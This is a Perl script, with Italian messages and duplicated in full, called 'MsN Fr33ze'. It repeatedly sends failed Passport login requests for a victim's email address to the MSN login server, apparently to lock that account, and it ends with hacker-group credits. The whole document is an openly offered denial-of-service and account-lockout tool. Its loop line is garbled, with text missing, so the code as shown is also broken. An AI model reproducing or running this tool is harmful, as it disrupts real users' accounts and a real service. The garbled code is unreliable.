#!/usr/bin/perl
use IO::Socket;
if(!defined($ARGV[0])) {
system (clear);
print "\n";
print "=======================================\n";
print "--- MsN Fr33ze\n";
print "=======================================\n";
print "--- Uso: perl $0 <email_vittima>\n\n";
exit; }
$TARGET = $ARGV[0];
$PORT = "80";
$SERVER = "login.passport.com";
$PASSWORD = "~censored~";
$KEYS = "lc=1033,id=507,tw=40,fs=1,ru=http%3A%2F%2Fmessenger%2Emsn%2Ecom,ct=1131803266,kpp=1,kv=7,ver=2.1.6000.1,rn=Oyx2lzO3,tpf=a9aa21fdbc1350435849d9fd05849cb7";
$NUMBER = "99999999999999999999999999999999999999999999999999999";
#################################
$COMMAND1 = "GET /login2.srf HTTP/1.0";
$COMMAND2 = "Accept: */*";
$COMMAND3 = "Authorization: Passport1.4 OrgVerb=GET,OrgURL=http%3A%2F%2Fmessenger%2Emsn%2Ecom,sign-in=$TARGET,pwd=$PASSWORD,$KEYS";
print "=====================================\n";
print "--- MsN Fr33ze\n";
print "=====================================\n";
print "- \n";
print "-------->Fase inizializzata<---------\n";
print "- \n";
print "[+] Sto attaccando $TARGET ...\n";
print "[-] CTRL + C Per fermarlo\n";
for($count=0;$count<NUMBER>new(Proto=>"tcp",PeerAddr=>"$SERVER",PeerPort=>"$PORT")
|| die "Non posso connettermi a $SERVER";
print $remote "$COMMAND1\n$COMMAND2\n$COMMAND3\n\n";
$remote->autoflush();
}
print "Fatto, rifallo quando vuoi
";
------------------------------------------
Mio proverbio:Non si è mai Hacker perche non
si finisce mai di imparare.[Proverbio By Me]
NeWs: .:NHT:.NewHackerTeam Presto...
Powered By HackerStyler
And Vincy!
------------------------------------------
use IO::Socket;
if(!defined($ARGV[0])) {
system (clear);
print "\n";
print "=======================================\n";
print "--- MsN Fr33ze\n";
print "=======================================\n";
print "--- Uso: perl $0 <email_vittima>\n\n";
exit; }
$TARGET = $ARGV[0];
$PORT = "80";
$SERVER = "login.passport.com";
$PASSWORD = "~censored~";
$KEYS = "lc=1033,id=507,tw=40,fs=1,ru=http%3A%2F%2Fmessenger%2Emsn%2Ecom,ct=1131803266,kpp=1,kv=7,ver=2.1.6000.1,rn=Oyx2lzO3,tpf=a9aa21fdbc1350435849d9fd05849cb7";
$NUMBER = "99999999999999999999999999999999999999999999999999999";
#################################
$COMMAND1 = "GET /login2.srf HTTP/1.0";
$COMMAND2 = "Accept: */*";
$COMMAND3 = "Authorization: Passport1.4 OrgVerb=GET,OrgURL=http%3A%2F%2Fmessenger%2Emsn%2Ecom,sign-in=$TARGET,pwd=$PASSWORD,$KEYS";
print "=====================================\n";
print "--- MsN Fr33ze\n";
print "=====================================\n";
print "- \n";
print "-------->Fase inizializzata<---------\n";
print "- \n";
print "[+] Sto attaccando $TARGET ...\n";
print "[-] CTRL + C Per fermarlo\n";
for($count=0;$count<NUMBER>new(Proto=>"tcp",PeerAddr=>"$SERVER",PeerPort=>"$PORT")
|| die "Non posso connettermi a $SERVER";
print $remote "$COMMAND1\n$COMMAND2\n$COMMAND3\n\n";
$remote->autoflush();
}
print "Fatto, rifallo quando vuoi
";------------------------------------------
Mio proverbio:Non si è mai Hacker perche non
si finisce mai di imparare.[Proverbio By Me]
NeWs: .:NHT:.NewHackerTeam Presto...
Powered By HackerStyler
And Vincy!
------------------------------------------
